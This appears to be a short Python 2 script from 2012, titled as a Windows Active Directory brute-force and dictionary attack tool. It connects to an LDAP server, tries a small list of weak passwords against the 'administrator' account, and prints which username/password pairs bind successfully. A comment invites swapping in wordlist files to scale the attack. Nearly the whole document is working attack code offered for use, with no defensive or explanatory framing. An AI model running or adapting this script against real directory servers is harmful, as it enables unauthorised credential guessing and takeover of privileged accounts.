# Windows Active Directory Bruteforce/Dictionary Attack Tool
 
# Date: 12/03/2012
 
# Author:  aokan@siyahsapka.org
 
# Tested on: 2008 Server
 
 
 
import ldap
 
con = ldap.initialize('ldap://192.168.1.10:389')
 
 
 
# i used static lists, if you want, you can easily read username/password information from file
 
kolaysifreler=('','123456','12345','1234')
 
kullanicilar=('','administrator')
 
 
 
for kullanici in kullanicilar:
 
    if kullanici!="":
 
        dn = 'DOMAINNAME\\'
 
        dn = dn + kullanici
 
        for password in kolaysifreler:
 
            if password!="":            
 
                try:
 
                    con.simple_bind_s(dn,password)
 
                    status="1"
 
                except Exception:
 
                    status="0"
 
                print kullanici+":"+password+">>"+status+"\n"            # status 1: password is correct, status 0: password is wrong